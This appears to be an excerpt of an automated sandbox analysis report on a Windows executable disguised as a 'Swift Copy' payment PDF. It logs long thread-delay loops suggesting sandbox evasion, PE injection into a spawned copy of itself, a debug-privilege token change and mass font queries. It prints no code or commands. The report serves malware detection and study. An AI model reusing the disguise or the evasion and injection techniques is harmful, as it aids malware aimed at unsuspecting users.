Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596231	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594593	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Window / User API: threadDelayed 2003			Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Window / User API: threadDelayed 7855			Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2004	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -26747778906878833s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 6752	Thread sleep count: 2003 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 6752	Thread sleep count: 7855 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599546s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599328s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -599000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -598015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -597015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596231s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -596015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595358s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -595031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -594922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -594812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -594703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe TID: 2308	Thread sleep time: -594593s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599656	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 599000	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597797	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 597015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596672	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596562	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596453	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596343	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596231	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596125	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 596015	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595906	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595796	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595687	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595578	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595468	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595358	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595250	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595140	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 595031	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594922	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594812	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594703	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Thread delayed: delay time: 594593	Jump to behavior

Source: Swift Copy TT USDUSD$23,401.PDF.exe, 00000002.00000002.4105715037.0000000001107000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll*

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Code function: 2_2_069A9448 LdrInitializeThunk,

2_2_069A9448

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Injects a PE file into a foreign processes

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Memory written: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe base: 400000 value starts with: 4D5A

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe

Process created: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe "C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe"

Jump to behavior

Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbell.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbelli.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Swift Copy TT USDUSD$23,401.PDF.exe	Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation	Jump to behavior
